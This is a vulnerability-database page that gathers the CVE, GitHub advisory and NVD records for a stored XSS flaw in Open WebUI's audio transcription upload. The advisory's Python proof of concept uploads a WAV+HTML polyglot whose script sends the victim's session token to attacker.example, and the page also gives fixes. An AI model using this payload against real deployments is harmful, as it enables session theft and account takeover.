Vulnerability-Lookup

CVE-2026-45315 (GCVE-0-2026-45315)

Vulnerability from cvelistv5 – Published: 2026-05-15 21:26 – Updated: 2026-05-19 17:19

Title

Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.

Severity ?

8.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-434 - Unrestricted Upload of File with Dangerous Type
CWE-646 - Reliance on File Name or Extension of Externally-Supplied File

Assigner

GitHub_M

References

URL

Tags

https://github.com/open-webui/open-webui/security…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	open-webui	open-webui	Affected: < 0.9.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45315",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-19T12:23:26.142818Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
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            "tags": [
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            ],
            "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
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    "cna": {
      "affected": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
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              "version": "\u003c 0.9.3"
            }
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      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL \u2014 the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-434",
              "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-646",
              "description": "CWE-646: Reliance on File Name or Extension of Externally-Supplied File",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-15T21:26:54.790Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr",
          "tags": [
            "x_refsource_CONFIRM"
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          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
        }
      ],
      "source": {
        "advisory": "GHSA-m8f9-9whg-f4xr",
        "discovery": "UNKNOWN"
      },
      "title": "Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions"
    }
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45315",
    "datePublished": "2026-05-15T21:26:54.790Z",
    "dateReserved": "2026-05-11T20:50:30.538Z",
    "dateUpdated": "2026-05-19T17:19:33.692Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-M8F9-9WHG-F4XR

Vulnerability from github – Published: 2026-05-14 20:17 – Updated: 2026-05-19 16:02

Summary

Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

Details

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):
- backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
allowlist, no cross-check against file.content_type.
- backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
and sets no Content-Disposition.
- backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
- backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
- src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
- backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. ```python import struct, httpx

data = b'\x80' * 44100
wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE',
b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
b'data', len(data)) + data
payload = wav + b'alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)'

r = httpx.post(
'https://VICTIM/api/v1/audio/transcriptions',
headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
files={'file': ('pwn.html', payload, 'audio/wav')},
)
fn = r.json()['filename'] # '.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/
```

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Severity ?

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-646",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:17:58Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "HIGH"
  },
  "details": "## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL \u2014 the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 \u2014 ext = safe_name.rsplit(\u0027.\u0027, 1)[-1] from user-supplied filename, then filename = f\u0027{id}.{ext}\u0027. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 \u2014 /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 \u2014 strict_match_mime_type defaults to [\u0027audio/*\u0027, \u0027video/webm\u0027], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 \u2014 USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, \u2026) \u2014 JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 \u2014 OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b\u0027\\x80\u0027 * 44100                                                                                                                                   \n  wav  = struct.pack(\u0027\u003c4sI4s4sIHHIIHH4sI\u0027,\n          b\u0027RIFF\u0027, 36 + len(data), b\u0027WAVE\u0027,                                                                                                                \n          b\u0027fmt \u0027, 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b\u0027data\u0027, len(data)) + data                                                                                                                       \n  payload = wav + b\u0027\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e\u0027\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      \u0027https://VICTIM/api/v1/audio/transcriptions\u0027,                                                                                                        \n      headers={\u0027Authorization\u0027: f\u0027Bearer {ATTACKER_JWT}\u0027},                                                                                                 \n      files={\u0027file\u0027: (\u0027pwn.html\u0027, payload, \u0027audio/wav\u0027)},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()[\u0027filename\u0027]      # \u0027\u003cuuid\u003e.html\u0027\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user \u2014 including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI\u0027s existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: \u003c= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.",
  "id": "GHSA-m8f9-9whg-f4xr",
  "modified": "2026-05-19T16:02:01Z",
  "published": "2026-05-14T20:17:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45315"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions"
}

FKIE_CVE-2026-45315

Vulnerability from fkie_nvd - Published: 2026-05-15 22:16 - Updated: 2026-06-17 10:51

Severity ?

8.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	openwebui	open_webui	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "289624DF-DC93-4E9F-9D2C-502D95BAF58A",
              "versionEndExcluding": "0.9.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL \u2014 the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3."
    }
  ],
  "id": "CVE-2026-45315",
  "lastModified": "2026-06-17T10:51:54.450",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45315",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-19T12:23:26.142818Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-15T22:16:54.250",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-434"
        },
        {
          "lang": "en",
          "value": "CWE-646"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-45315 (GCVE-0-2026-45315)

GHSA-M8F9-9WHG-F4XR

Summary

Details

PoC

Impact

FKIE_CVE-2026-45315

Tags

Sightings

Nomenclature